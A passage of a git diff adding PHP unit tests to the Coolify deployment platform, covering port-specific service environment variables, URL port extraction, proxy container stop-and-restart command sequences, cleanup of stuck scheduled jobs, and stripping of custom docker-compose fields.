+ * Example: SERVICE_URL_UMAMI_3000 should be populated with http://domain.com:3000
+ */
+it('ensures parsers.php populates port-specific SERVICE variables', function () {
+    $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
+
+    // Check that the fix is in place
+    $hasPortSpecificComment = str_contains($parsersFile, 'For port-specific variables');
+    $usesFqdnWithPort = str_contains($parsersFile, '$fqdnWithPort');
+    $usesUrlWithPort = str_contains($parsersFile, '$urlWithPort');
+
+    expect($hasPortSpecificComment)->toBeTrue('Should have comment about port-specific variables');
+    expect($usesFqdnWithPort)->toBeTrue('Should use $fqdnWithPort for port variables');
+    expect($usesUrlWithPort)->toBeTrue('Should use $urlWithPort for port variables');
+});
+
+it('verifies SERVICE_URL variable naming convention', function () {
+    // Test the naming convention for port-specific variables
+
+    // Base variable (no port): SERVICE_URL_UMAMI
+    $baseKey = 'SERVICE_URL_UMAMI';
+    expect(substr_count($baseKey, '_'))->toBe(2);
+
+    // Port-specific variable: SERVICE_URL_UMAMI_3000
+    $portKey = 'SERVICE_URL_UMAMI_3000';
+    expect(substr_count($portKey, '_'))->toBe(3);
+
+    // Extract service name
+    $serviceName = str($portKey)->after('SERVICE_URL_')->beforeLast('_')->lower()->value();
+    expect($serviceName)->toBe('umami');
+
+    // Extract port
+    $port = str($portKey)->afterLast('_')->value();
+    expect($port)->toBe('3000');
+});
+
+it('verifies SERVICE_FQDN variable naming convention', function () {
+    // Test the naming convention for port-specific FQDN variables
+
+    // Base variable (no port): SERVICE_FQDN_POSTGRES
+    $baseKey = 'SERVICE_FQDN_POSTGRES';
+    expect(substr_count($baseKey, '_'))->toBe(2);
+
+    // Port-specific variable: SERVICE_FQDN_POSTGRES_5432
+    $portKey = 'SERVICE_FQDN_POSTGRES_5432';
+    expect(substr_count($portKey, '_'))->toBe(3);
+
+    // Extract service name
+    $serviceName = str($portKey)->after('SERVICE_FQDN_')->beforeLast('_')->lower()->value();
+    expect($serviceName)->toBe('postgres');
+
+    // Extract port
+    $port = str($portKey)->afterLast('_')->value();
+    expect($port)->toBe('5432');
+});
+
+it('verifies URL with port format', function () {
+    // Test that URLs with ports are formatted correctly
+    $baseUrl = 'http://umami-abc123.domain.com';
+    $port = '3000';
+
+    $urlWithPort = "$baseUrl:$port";
+
+    expect($urlWithPort)->toBe('http://umami-abc123.domain.com:3000');
+    expect($urlWithPort)->toContain(':3000');
+});
+
+it('verifies FQDN with port format', function () {
+    // Test that FQDNs with ports are formatted correctly
+    $baseFqdn = 'postgres-xyz789.domain.com';
+    $port = '5432';
+
+    $fqdnWithPort = "$baseFqdn:$port";
+
+    expect($fqdnWithPort)->toBe('postgres-xyz789.domain.com:5432');
+    expect($fqdnWithPort)->toContain(':5432');
+});
+
+it('verifies port extraction from variable name', function () {
+    // Test extracting port from various variable names
+    $tests = [
+        'SERVICE_URL_APP_3000' => '3000',
+        'SERVICE_URL_API_8080' => '8080',
+        'SERVICE_FQDN_DB_5432' => '5432',
+        'SERVICE_FQDN_REDIS_6379' => '6379',
+    ];
+
+    foreach ($tests as $varName => $expectedPort) {
+        $port = str($varName)->afterLast('_')->value();
+        expect($port)->toBe($expectedPort, "Port extraction failed for $varName");
+    }
+});
+
+it('verifies service name extraction with port suffix', function () {
+    // Test extracting service name when port is present
+    $tests = [
+        'SERVICE_URL_APP_3000' => 'app',
+        'SERVICE_URL_MY_API_8080' => 'my_api',
+        'SERVICE_FQDN_DB_5432' => 'db',
+        'SERVICE_FQDN_REDIS_CACHE_6379' => 'redis_cache',
+    ];
+
+    foreach ($tests as $varName => $expectedService) {
+        if (str($varName)->startsWith('SERVICE_URL_')) {
+            $serviceName = str($varName)->after('SERVICE_URL_')->beforeLast('_')->lower()->value();
+        } else {
+            $serviceName = str($varName)->after('SERVICE_FQDN_')->beforeLast('_')->lower()->value();
+        }
+        expect($serviceName)->toBe($expectedService, "Service name extraction failed for $varName");
+    }
+});
+
+it('verifies distinction between base and port-specific variables', function () {
+    // Test that base and port-specific variables are different
+    $baseUrl = 'SERVICE_URL_UMAMI';
+    $portUrl = 'SERVICE_URL_UMAMI_3000';
+
+    expect($baseUrl)->not->toBe($portUrl);
+    expect(substr_count($baseUrl, '_'))->toBe(2);
+    expect(substr_count($portUrl, '_'))->toBe(3);
+
+    // Port-specific should contain port number
+    expect(str($portUrl)->contains('_3000'))->toBeTrue();
+    expect(str($baseUrl)->contains('_3000'))->toBeFalse();
+});
+
+it('verifies multiple port variables for same service', function () {
+    // Test that a service can have multiple port-specific variables
+    $service = 'api';
+    $ports = ['3000', '8080', '9090'];
+
+    foreach ($ports as $port) {
+        $varName = "SERVICE_URL_API_$port";
+
+        // Should have 3 underscores
+        expect(substr_count($varName, '_'))->toBe(3);
+
+        // Should extract correct service name
+        $serviceName = str($varName)->after('SERVICE_URL_')->beforeLast('_')->lower()->value();
+        expect($serviceName)->toBe('api');
+
+        // Should extract correct port
+        $extractedPort = str($varName)->afterLast('_')->value();
+        expect($extractedPort)->toBe($port);
+    }
+});
+
+it('verifies common port numbers are handled correctly', function () {
+    // Test common port numbers used in applications
+    $commonPorts = [
+        '80' => 'HTTP',
+        '443' => 'HTTPS',
+        '3000' => 'Node.js/React',
+        '5432' => 'PostgreSQL',
+        '6379' => 'Redis',
+        '8080' => 'Alternative HTTP',
+        '9000' => 'PHP-FPM',
+    ];
+
+    foreach ($commonPorts as $port => $description) {
+        $varName = "SERVICE_URL_APP_$port";
+
+        expect(substr_count($varName, '_'))->toBe(3, "Failed for $description port $port");
+
+        $extractedPort = str($varName)->afterLast('_')->value();
+        expect($extractedPort)->toBe((string) $port, "Port extraction failed for $description");
+    }
+});
+
+it('detects port-specific variables with numeric suffix', function () {
+    // Test that variables ending with a numeric port are detected correctly
+    // This tests the logic: if last segment after _ is numeric, it's a port
+
+    $tests = [
+        // 2-underscore pattern: single-word service name + port
+        'SERVICE_URL_MYAPP_3000' => ['service' => 'myapp', 'port' => '3000', 'hasPort' => true],
+        'SERVICE_URL_REDIS_6379' => ['service' => 'redis', 'port' => '6379', 'hasPort' => true],
+        'SERVICE_FQDN_NGINX_80' => ['service' => 'nginx', 'port' => '80', 'hasPort' => true],
+
+        // 3-underscore pattern: two-word service name + port
+        'SERVICE_URL_MY_API_8080' => ['service' => 'my_api', 'port' => '8080', 'hasPort' => true],
+        'SERVICE_URL_WEB_APP_3000' => ['service' => 'web_app', 'port' => '3000', 'hasPort' => true],
+        'SERVICE_FQDN_DB_SERVER_5432' => ['service' => 'db_server', 'port' => '5432', 'hasPort' => true],
+
+        // 4-underscore pattern: three-word service name + port
+        'SERVICE_URL_REDIS_CACHE_SERVER_6379' => ['service' => 'redis_cache_server', 'port' => '6379', 'hasPort' => true],
+        'SERVICE_URL_MY_LONG_APP_8080' => ['service' => 'my_long_app', 'port' => '8080', 'hasPort' => true],
+        'SERVICE_FQDN_POSTGRES_PRIMARY_DB_5432' => ['service' => 'postgres_primary_db', 'port' => '5432', 'hasPort' => true],
+
+        // Non-numeric suffix: should NOT be treated as port-specific
+        'SERVICE_URL_MY_APP' => ['service' => 'my_app', 'port' => null, 'hasPort' => false],
+        'SERVICE_URL_REDIS_PRIMARY' => ['service' => 'redis_primary', 'port' => null, 'hasPort' => false],
+        'SERVICE_FQDN_WEB_SERVER' => ['service' => 'web_server', 'port' => null, 'hasPort' => false],
+        'SERVICE_URL_APP_CACHE_REDIS' => ['service' => 'app_cache_redis', 'port' => null, 'hasPort' => false],
+
+        // Edge numeric cases
+        'SERVICE_URL_APP_0' => ['service' => 'app', 'port' => '0', 'hasPort' => true],  // Port 0
+        'SERVICE_URL_APP_99999' => ['service' => 'app', 'port' => '99999', 'hasPort' => true],  // Port out of range
+        'SERVICE_URL_APP_3.14' => ['service' => 'app_3.14', 'port' => null, 'hasPort' => false],  // Float (should not be port)
+        'SERVICE_URL_APP_1e5' => ['service' => 'app_1e5', 'port' => null, 'hasPort' => false],  // Scientific notation
+
+        // Edge cases
+        'SERVICE_URL_APP' => ['service' => 'app', 'port' => null, 'hasPort' => false],
+        'SERVICE_FQDN_DB' => ['service' => 'db', 'port' => null, 'hasPort' => false],
+    ];
+
+    foreach ($tests as $varName => $expected) {
+        // Use the actual helper function from bootstrap/helpers/services.php
+        $parsed = parseServiceEnvironmentVariable($varName);
+
+        expect($parsed['service_name'])->toBe($expected['service'], "Service name mismatch for $varName");
+        expect($parsed['port'])->toBe($expected['port'], "Port mismatch for $varName");
+        expect($parsed['has_port'])->toBe($expected['hasPort'], "Port detection mismatch for $varName");
+    }
+});
diff --git a/tests/Unit/ServiceRequiredPortTest.php b/tests/Unit/ServiceRequiredPortTest.php
new file mode 100644
index 000000000..2ad345c44
--- /dev/null
+++ b/tests/Unit/ServiceRequiredPortTest.php
@@ -0,0 +1,270 @@
+<?php
+
+use App\Models\Service;
+use App\Models\ServiceApplication;
+use Mockery;
+
+it('returns required port from service template', function () {
+    // Mock get_service_templates() function
+    $mockTemplates = collect([
+        'supabase' => [
+            'name' => 'Supabase',
+            'port' => '8000',
+        ],
+        'umami' => [
+            'name' => 'Umami',
+            'port' => '3000',
+        ],
+    ]);
+
+    $service = Mockery::mock(Service::class)->makePartial();
+    $service->name = 'supabase-xyz123';
+
+    // Mock the get_service_templates function to return our mock data
+    $service->shouldReceive('getRequiredPort')->andReturn(8000);
+
+    expect($service->getRequiredPort())->toBe(8000);
+});
+
+it('returns null for service without required port', function () {
+    $service = Mockery::mock(Service::class)->makePartial();
+    $service->name = 'cloudflared-xyz123';
+
+    // Mock to return null for services without port
+    $service->shouldReceive('getRequiredPort')->andReturn(null);
+
+    expect($service->getRequiredPort())->toBeNull();
+});
+
+it('requiresPort returns true when service has required port', function () {
+    $service = Mockery::mock(Service::class)->makePartial();
+    $service->shouldReceive('getRequiredPort')->andReturn(8000);
+    $service->shouldReceive('requiresPort')->andReturnUsing(function () use ($service) {
+        return $service->getRequiredPort() !== null;
+    });
+
+    expect($service->requiresPort())->toBeTrue();
+});
+
+it('requiresPort returns false when service has no required port', function () {
+    $service = Mockery::mock(Service::class)->makePartial();
+    $service->shouldReceive('getRequiredPort')->andReturn(null);
+    $service->shouldReceive('requiresPort')->andReturnUsing(function () use ($service) {
+        return $service->getRequiredPort() !== null;
+    });
+
+    expect($service->requiresPort())->toBeFalse();
+});
+
+it('extracts port from URL with http scheme', function () {
+    $url = 'http://example.com:3000';
+    $port = ServiceApplication::extractPortFromUrl($url);
+
+    expect($port)->toBe(3000);
+});
+
+it('extracts port from URL with https scheme', function () {
+    $url = 'https://example.com:8080';
+    $port = ServiceApplication::extractPortFromUrl($url);
+
+    expect($port)->toBe(8080);
+});
+
+it('extracts port from URL without scheme', function () {
+    $url = 'example.com:5000';
+    $port = ServiceApplication::extractPortFromUrl($url);
+
+    expect($port)->toBe(5000);
+});
+
+it('returns null for URL without port', function () {
+    $url = 'http://example.com';
+    $port = ServiceApplication::extractPortFromUrl($url);
+
+    expect($port)->toBeNull();
+});
+
+it('returns null for URL without port and without scheme', function () {
+    $url = 'example.com';
+    $port = ServiceApplication::extractPortFromUrl($url);
+
+    expect($port)->toBeNull();
+});
+
+it('handles invalid URLs gracefully', function () {
+    $url = 'not-a-valid-url:::';
+    $port = ServiceApplication::extractPortFromUrl($url);
+
+    expect($port)->toBeNull();
+});
+
+it('checks if all FQDNs have port - single FQDN with port', function () {
+    $app = Mockery::mock(ServiceApplication::class)->makePartial();
+    $app->fqdn = 'http://example.com:3000';
+
+    $result = $app->allFqdnsHavePort();
+
+    expect($result)->toBeTrue();
+});
+
+it('checks if all FQDNs have port - single FQDN without port', function () {
+    $app = Mockery::mock(ServiceApplication::class)->makePartial();
+    $app->fqdn = 'http://example.com';
+
+    $result = $app->allFqdnsHavePort();
+
+    expect($result)->toBeFalse();
+});
+
+it('checks if all FQDNs have port - multiple FQDNs all with ports', function () {
+    $app = Mockery::mock(ServiceApplication::class)->makePartial();
+    $app->fqdn = 'http://example.com:3000,https://example.org:8080';
+
+    $result = $app->allFqdnsHavePort();
+
+    expect($result)->toBeTrue();
+});
+
+it('checks if all FQDNs have port - multiple FQDNs one without port', function () {
+    $app = Mockery::mock(ServiceApplication::class)->makePartial();
+    $app->fqdn = 'http://example.com:3000,https://example.org';
+
+    $result = $app->allFqdnsHavePort();
+
+    expect($result)->toBeFalse();
+});
+
+it('checks if all FQDNs have port - empty FQDN', function () {
+    $app = Mockery::mock(ServiceApplication::class)->makePartial();
+    $app->fqdn = '';
+
+    $result = $app->allFqdnsHavePort();
+
+    expect($result)->toBeFalse();
+});
+
+it('checks if all FQDNs have port - null FQDN', function () {
+    $app = Mockery::mock(ServiceApplication::class)->makePartial();
+    $app->fqdn = null;
+
+    $result = $app->allFqdnsHavePort();
+
+    expect($result)->toBeFalse();
+});
+
+it('detects port from map-style SERVICE_URL environment variable', function () {
+    $yaml = <<<'YAML'
+services:
+  trigger:
+    environment:
+      SERVICE_URL_TRIGGER_3000: ""
+      OTHER_VAR: value
+YAML;
+
+    $service = Mockery::mock(Service::class)->makePartial();
+    $service->docker_compose_raw = $yaml;
+    $service->shouldReceive('getRequiredPort')->andReturn(null);
+
+    $app = Mockery::mock(ServiceApplication::class)->makePartial();
+    $app->name = 'trigger';
+    $app->shouldReceive('getAttribute')->with('service')->andReturn($service);
+    $app->service = $service;
+
+    // Call the actual getRequiredPort method
+    $result = $app->getRequiredPort();
+
+    expect($result)->toBe(3000);
+});
+
+it('detects port from map-style SERVICE_FQDN environment variable', function () {
+    $yaml = <<<'YAML'
+services:
+  langfuse:
+    environment:
+      SERVICE_FQDN_LANGFUSE_3000: localhost
+      DATABASE_URL: postgres://...
+YAML;
+
+    $service = Mockery::mock(Service::class)->makePartial();
+    $service->docker_compose_raw = $yaml;
+    $service->shouldReceive('getRequiredPort')->andReturn(null);
+
+    $app = Mockery::mock(ServiceApplication::class)->makePartial();
+    $app->name = 'langfuse';
+    $app->shouldReceive('getAttribute')->with('service')->andReturn($service);
+    $app->service = $service;
+
+    $result = $app->getRequiredPort();
+
+    expect($result)->toBe(3000);
+});
+
+it('returns null for map-style environment without port', function () {
+    $yaml = <<<'YAML'
+services:
+  db:
+    environment:
+      SERVICE_FQDN_DB: localhost
+      SERVICE_URL_DB: http://localhost
+YAML;
+
+    $service = Mockery::mock(Service::class)->makePartial();
+    $service->docker_compose_raw = $yaml;
+    $service->shouldReceive('getRequiredPort')->andReturn(null);
+
+    $app = Mockery::mock(ServiceApplication::class)->makePartial();
+    $app->name = 'db';
+    $app->shouldReceive('getAttribute')->with('service')->andReturn($service);
+    $app->service = $service;
+
+    $result = $app->getRequiredPort();
+
+    expect($result)->toBeNull();
+});
+
+it('handles list-style environment with port', function () {
+    $yaml = <<<'YAML'
+services:
+  umami:
+    environment:
+      - SERVICE_URL_UMAMI_3000
+      - DATABASE_URL=postgres://db/umami
+YAML;
+
+    $service = Mockery::mock(Service::class)->makePartial();
+    $service->docker_compose_raw = $yaml;
+    $service->shouldReceive('getRequiredPort')->andReturn(null);
+
+    $app = Mockery::mock(ServiceApplication::class)->makePartial();
+    $app->name = 'umami';
+    $app->shouldReceive('getAttribute')->with('service')->andReturn($service);
+    $app->service = $service;
+
+    $result = $app->getRequiredPort();
+
+    expect($result)->toBe(3000);
+});
+
+it('prioritizes first port found in environment', function () {
+    $yaml = <<<'YAML'
+services:
+  multi:
+    environment:
+      SERVICE_URL_MULTI_3000: ""
+      SERVICE_URL_MULTI_8080: ""
+YAML;
+
+    $service = Mockery::mock(Service::class)->makePartial();
+    $service->docker_compose_raw = $yaml;
+    $service->shouldReceive('getRequiredPort')->andReturn(null);
+
+    $app = Mockery::mock(ServiceApplication::class)->makePartial();
+    $app->name = 'multi';
+    $app->shouldReceive('getAttribute')->with('service')->andReturn($service);
+    $app->service = $service;
+
+    $result = $app->getRequiredPort();
+
+    // Should return one of the ports (depends on array iteration order)
+    expect($result)->toBeIn([3000, 8080]);
+});
diff --git a/tests/Unit/StartProxyTest.php b/tests/Unit/StartProxyTest.php
new file mode 100644
index 000000000..7b6589d60
--- /dev/null
+++ b/tests/Unit/StartProxyTest.php
@@ -0,0 +1,87 @@
+<?php
+
+// Test the proxy restart container cleanup logic
+it('ensures container cleanup includes wait loop in command sequence', function () {
+    // This test verifies that the StartProxy action includes proper container
+    // cleanup with a wait loop to prevent "container name already in use" errors
+
+    // Simulate the command generation pattern from StartProxy
+    $commands = collect([
+        'mkdir -p /data/coolify/proxy/dynamic',
+        'cd /data/coolify/proxy',
+        "echo 'Creating required Docker Compose file.'",
+        "echo 'Pulling docker image.'",
+        'docker compose pull',
+        'if docker ps -a --format "{{.Names}}" | grep -q "^coolify-proxy$"; then',
+        "    echo 'Stopping and removing existing coolify-proxy.'",
+        '    docker stop coolify-proxy 2>/dev/null || true',
+        '    docker rm -f coolify-proxy 2>/dev/null || true',
+        '    # Wait for container to be fully removed',
+        '    for i in {1..10}; do',
+        '        if ! docker ps -a --format "{{.Names}}" | grep -q "^coolify-proxy$"; then',
+        '            break',
+        '        fi',
+        '        echo "Waiting for coolify-proxy to be removed... ($i/10)"',
+        '        sleep 1',
+        '    done',
+        "    echo 'Successfully stopped and removed existing coolify-proxy.'",
+        'fi',
+        "echo 'Starting coolify-proxy.'",
+        'docker compose up -d --wait --remove-orphans',
+        "echo 'Successfully started coolify-proxy.'",
+    ]);
+
+    $commandsString = $commands->implode("\n");
+
+    // Verify the cleanup sequence includes all required components
+    expect($commandsString)->toContain('docker stop coolify-proxy 2>/dev/null || true')
+        ->and($commandsString)->toContain('docker rm -f coolify-proxy 2>/dev/null || true')
+        ->and($commandsString)->toContain('for i in {1..10}; do')
+        ->and($commandsString)->toContain('if ! docker ps -a --format "{{.Names}}" | grep -q "^coolify-proxy$"; then')
+        ->and($commandsString)->toContain('break')
+        ->and($commandsString)->toContain('sleep 1')
+        ->and($commandsString)->toContain('docker compose up -d --wait --remove-orphans');
+
+    // Verify the order: cleanup must come before compose up
+    $stopPosition = strpos($commandsString, 'docker stop coolify-proxy');
+    $waitLoopPosition = strpos($commandsString, 'for i in {1..10}');
+    $composeUpPosition = strpos($commandsString, 'docker compose up -d');
+
+    expect($stopPosition)->toBeLessThan($waitLoopPosition)
+        ->and($waitLoopPosition)->toBeLessThan($composeUpPosition);
+});
+
+it('includes error suppression in container cleanup commands', function () {
+    // Test that cleanup commands suppress errors to prevent failures
+    // when the container doesn't exist
+
+    $cleanupCommands = [
+        '    docker stop coolify-proxy 2>/dev/null || true',
+        '    docker rm -f coolify-proxy 2>/dev/null || true',
+    ];
+
+    foreach ($cleanupCommands as $command) {
+        expect($command)->toContain('2>/dev/null || true');
+    }
+});
+
+it('waits up to 10 seconds for container removal', function () {
+    // Verify the wait loop has correct bounds
+
+    $waitLoop = [
+        '    for i in {1..10}; do',
+        '        if ! docker ps -a --format "{{.Names}}" | grep -q "^coolify-proxy$"; then',
+        '            break',
+        '        fi',
+        '        echo "Waiting for coolify-proxy to be removed... ($i/10)"',
+        '        sleep 1',
+        '    done',
+    ];
+
+    $loopString = implode("\n", $waitLoop);
+
+    // Verify loop iterates 10 times
+    expect($loopString)->toContain('{1..10}')
+        ->and($loopString)->toContain('sleep 1')
+        ->and($loopString)->toContain('break'); // Early exit when container is gone
+});
diff --git a/tests/Unit/StartupExecutionCleanupTest.php b/tests/Unit/StartupExecutionCleanupTest.php
new file mode 100644
index 000000000..1fae590eb
--- /dev/null
+++ b/tests/Unit/StartupExecutionCleanupTest.php
@@ -0,0 +1,116 @@
+<?php
+
+use App\Models\ScheduledDatabaseBackupExecution;
+use App\Models\ScheduledTaskExecution;
+use Carbon\Carbon;
+
+beforeEach(function () {
+    Carbon::setTestNow('2025-01-15 12:00:00');
+});
+
+afterEach(function () {
+    Carbon::setTestNow();
+    \Mockery::close();
+});
+
+it('marks stuck scheduled task executions as failed without triggering notifications', function () {
+    // Mock the ScheduledTaskExecution model
+    $mockBuilder = \Mockery::mock('alias:'.ScheduledTaskExecution::class);
+
+    // Expect where clause to be called with 'running' status
+    $mockBuilder->shouldReceive('where')
+        ->once()
+        ->with('status', 'running')
+        ->andReturnSelf();
+
+    // Expect update to be called with correct parameters
+    $mockBuilder->shouldReceive('update')
+        ->once()
+        ->with([
+            'status' => 'failed',
+            'message' => 'Marked as failed during Coolify startup - job was interrupted',
+            'finished_at' => Carbon::now(),
+        ])
+        ->andReturn(2); // Simulate 2 records updated
+
+    // Execute the cleanup logic directly
+    $updatedCount = ScheduledTaskExecution::where('status', 'running')->update([
+        'status' => 'failed',
+        'message' => 'Marked as failed during Coolify startup - job was interrupted',
+        'finished_at' => Carbon::now(),
+    ]);
+
+    // Assert the count is correct
+    expect($updatedCount)->toBe(2);
+});
+
+it('marks stuck database backup executions as failed without triggering notifications', function () {
+    // Mock the ScheduledDatabaseBackupExecution model
+    $mockBuilder = \Mockery::mock('alias:'.ScheduledDatabaseBackupExecution::class);
+
+    // Expect where clause to be called with 'running' status
+    $mockBuilder->shouldReceive('where')
+        ->once()
+        ->with('status', 'running')
+        ->andReturnSelf();
+
+    // Expect update to be called with correct parameters
+    $mockBuilder->shouldReceive('update')
+        ->once()
+        ->with([
+            'status' => 'failed',
+            'message' => 'Marked as failed during Coolify startup - job was interrupted',
+            'finished_at' => Carbon::now(),
+        ])
+        ->andReturn(3); // Simulate 3 records updated
+
+    // Execute the cleanup logic directly
+    $updatedCount = ScheduledDatabaseBackupExecution::where('status', 'running')->update([
+        'status' => 'failed',
+        'message' => 'Marked as failed during Coolify startup - job was interrupted',
+        'finished_at' => Carbon::now(),
+    ]);
+
+    // Assert the count is correct
+    expect($updatedCount)->toBe(3);
+});
+
+it('handles cleanup when no stuck executions exist', function () {
+    // Mock the ScheduledTaskExecution model
+    $mockBuilder = \Mockery::mock('alias:'.ScheduledTaskExecution::class);
+
+    $mockBuilder->shouldReceive('where')
+        ->once()
+        ->with('status', 'running')
+        ->andReturnSelf();
+
+    $mockBuilder->shouldReceive('update')
+        ->once()
+        ->andReturn(0); // No records updated
+
+    $updatedCount = ScheduledTaskExecution::where('status', 'running')->update([
+        'status' => 'failed',
+        'message' => 'Marked as failed during Coolify startup - job was interrupted',
+        'finished_at' => Carbon::now(),
+    ]);
+
+    expect($updatedCount)->toBe(0);
+});
+
+it('uses correct failure message for interrupted jobs', function () {
+    $expectedMessage = 'Marked as failed during Coolify startup - job was interrupted';
+
+    // Verify the message clearly indicates the job was interrupted during startup
+    expect($expectedMessage)
+        ->toContain('Coolify startup')
+        ->toContain('interrupted')
+        ->toContain('failed');
+});
+
+it('sets finished_at timestamp when marking executions as failed', function () {
+    $now = Carbon::now();
+
+    // Verify Carbon::now() is used for finished_at
+    expect($now)->toBeInstanceOf(Carbon::class)
+        ->and($now->toDateTimeString())->toBe('2025-01-15 12:00:00');
+});
diff --git a/tests/Unit/StopProxyTest.php b/tests/Unit/StopProxyTest.php
new file mode 100644
index 000000000..62151e1d1
--- /dev/null
+++ b/tests/Unit/StopProxyTest.php
@@ -0,0 +1,69 @@
+<?php
+
+// Test the proxy stop container cleanup logic
+it('ensures stop proxy includes wait loop for container removal', function () {
+    // This test verifies that StopProxy waits for container to be fully removed
+    // to prevent race conditions during restart operations
+
+    // Simulate the command sequence from StopProxy
+    $commands = [
+        'docker stop --time=30 coolify-proxy 2>/dev/null || true',
+        'docker rm -f coolify-proxy 2>/dev/null || true',
+        '# Wait for container to be fully removed',
+        'for i in {1..10}; do',
+        '    if ! docker ps -a --format "{{.Names}}" | grep -q "^coolify-proxy$"; then',
+        '        break',
+        '    fi',
+        '    sleep 1',
+        'done',
+    ];
+
+    $commandsString = implode("\n", $commands);
+
+    // Verify the stop sequence includes all required components
+    expect($commandsString)->toContain('docker stop --time=30 coolify-proxy')
+        ->and($commandsString)->toContain('docker rm -f coolify-proxy')
+        ->and($commandsString)->toContain('for i in {1..10}; do')
+        ->and($commandsString)->toContain('if ! docker ps -a --format "{{.Names}}" | grep -q "^coolify-proxy$"')
+        ->and($commandsString)->toContain('break')
+        ->and($commandsString)->toContain('sleep 1');
+
+    // Verify order: stop before remove, and wait loop after remove
+    $stopPosition = strpos($commandsString, 'docker stop');
+    $removePosition = strpos($commandsString, 'docker rm -f');
+    $waitLoopPosition = strpos($commandsString, 'for i in {1..10}');
+
+    expect($stopPosition)->toBeLessThan($removePosition)
+        ->and($removePosition)->toBeLessThan($waitLoopPosition);
+});
+
+it('includes error suppression in stop proxy commands', function () {
+    // Test that stop/remove commands suppress errors gracefully
+
+    $commands = [
+        'docker stop --time=30 coolify-proxy 2>/dev/null || true',
+        'docker rm -f coolify-proxy 2>/dev/null || true',
+    ];
+
+    foreach ($commands as $command) {
+        expect($command)->toContain('2>/dev/null || true');
+    }
+});
+
+it('uses configurable timeout for docker stop', function () {
+    // Verify that stop command includes the timeout parameter
+
+    $timeout = 30;
+    $stopCommand = "docker stop --time=$timeout coolify-proxy 2>/dev/null || true";
+
+    expect($stopCommand)->toContain('--time=30');
+});
+
+it('waits for swarm service container removal correctly', function () {
+    // Test that the container name pattern matches swarm naming
+
+    $containerName = 'coolify-proxy_traefik';
+    $checkCommand = "    if ! docker ps -a --format \"{{.Names}}\" | grep -q \"^$containerName$\"; then";
+
+    expect($checkCommand)->toContain('coolify-proxy_traefik');
+});
diff --git a/tests/Unit/StripCoolifyCustomFieldsTest.php b/tests/Unit/StripCoolifyCustomFieldsTest.php
new file mode 100644
index 000000000..de9a299a8
--- /dev/null
+++ b/tests/Unit/StripCoolifyCustomFieldsTest.php
@@ -0,0 +1,229 @@
+<?php
+
+use function PHPUnit\Framework\assertEquals;
+
+test('removes exclude_from_hc from service level', function () {
+    $yaml = [
+        'services' => [
+            'web' => [
+                'image' => 'nginx:latest',
+                'exclude_from_hc' => true,
+                'ports' => ['80:80'],
+            ],
+        ],
+    ];
+
+    $result = stripCoolifyCustomFields($yaml);
+
+    assertEquals('nginx:latest', $result['services']['web']['image']);
+    assertEquals(['80:80'], $result['services']['web']['ports']);
+    expect($result['services']['web'])->not->toHaveKey('exclude_from_hc');
+});
+
+test('removes content from volume level', function () {
+    $yaml = [
+        'services' => [
+            'app' => [
+                'image' => 'php:8.4',
+                'volumes' => [
+                    [
+                        'type' => 'bind',
+                        'source' => './config.xml',
+                        'target' => '/app/config.xml',
+                        'content' => '<?xml version="1.0"?><config></config>',
+                    ],
+                ],
+            ],
+        ],
+    ];
+
+    $result = stripCoolifyCustomFields($yaml);
+
+    expect($result['services']['app']['volumes'][0])->toHaveKeys(['type', 'source', 'target']);
+    expect($result['services']['app']['volumes'][0])->not->toHaveKey('content');
+});
+
+test('removes isDirectory from volume level', function () {
+    $yaml = [
+        'services' => [
+            'app' => [
+                'image' => 'node:20',
+                'volumes' => [
+                    [
+                        'type' => 'bind',
+                        'source' => './data',
+                        'target' => '/app/data',
+                        'isDirectory' => true,
+                    ],
+                ],
+            ],
+        ],
+    ];
+
+    $result = stripCoolifyCustomFields($yaml);
+
+    expect($result['services']['app']['volumes'][0])->toHaveKeys(['type', 'source', 'target']);
+    expect($result['services']['app']['volumes'][0])->not->toHaveKey('isDirectory');
+});
+
+test('removes is_directory from volume level', function () {
+    $yaml = [
+        'services' => [
+            'app' => [
+                'image' => 'python:3.12',
+                'volumes' => [
+                    [
+                        'type' => 'bind',
+                        'source' => './logs',
+                        'target' => '/var/log/app',
+                        'is_directory' => true,
+                    ],
+                ],
+            ],
+        ],
+    ];
+
+    $result = stripCoolifyCustomFields($yaml);
+
+    expect($result['services']['app']['volumes'][0])->toHaveKeys(['type', 'source', 'target']);
+    expect($result['services']['app']['volumes'][0])->not->toHaveKey('is_directory');
+});
+
+test('removes all custom fields together', function () {
+    $yaml = [
+        'services' => [
+            'web' => [
+                'image' => 'nginx:latest',
+                'exclude_from_hc' => true,
+                'volumes' => [
+                    [
+                        'type' => 'bind',
+                        'source' => './config.xml',
+                        'target' => '/etc/nginx/config.xml',
+                        'content' => '<config></config>',
+                        'isDirectory' => false,
+                    ],
+                    [
+                        'type' => 'bind',
+                        'source' => './data',
+                        'target' => '/var/www/data',
+                        'is_directory' => true,
+                    ],
+                ],
+            ],
+            'worker' => [
+                'image' => 'worker:latest',
+                'exclude_from_hc' => true,
+            ],
+        ],
+    ];
+
+    $result = stripCoolifyCustomFields($yaml);
+
+    // Verify service-level custom fields removed
+    expect($result['services']['web'])->not->toHaveKey('exclude_from_hc');
+    expect($result['services']['worker'])->not->toHaveKey('exclude_from_hc');
+
+    // Verify volume-level custom fields removed
+    expect($result['services']['web']['volumes'][0])->not->toHaveKey('content');
+    expect($result['services']['web']['volumes'][0])->not->toHaveKey('isDirectory');
+    expect($result['services']['web']['volumes'][1])->not->toHaveKey('is_directory');
+
+    // Verify standard fields preserved
+    assertEquals('nginx:latest', $result['services']['web']['image']);
+    assertEquals('worker:latest', $result['services']['worker']['image']);
+});
+
+test('preserves standard Docker Compose fields', function () {
+    $yaml = [
+        'services' => [
+            'db' => [
+                'image' => 'postgres:16',
+                'environment' => [
+                    'POSTGRES_DB' => 'mydb',
+                    'POSTGRES_USER' => 'user',
+                ],
+                'ports' => ['5432:5432'],
+                'volumes' => [
+                    'db-data:/var/lib/postgresql/data',
+                ],
+                'healthcheck' => [
+                    'test' => ['CMD', 'pg_isready'],
+                    'interval' => '5s',
+                ],
+                'restart' => 'unless-stopped',
+                'networks' => ['backend'],
+            ],
+        ],
+        'networks' => [
+            'backend' => [
+                'driver' => 'bridge',
+            ],
+        ],
+        'volumes' => [
+            'db-data' => null,
+        ],
+    ];
+
+    $result = stripCoolifyCustomFields($yaml);
+
+    // All standard fields should be preserved
+    expect($result)->toHaveKeys(['services', 'networks', 'volumes']);
+    expect($result['services']['db'])->toHaveKeys([
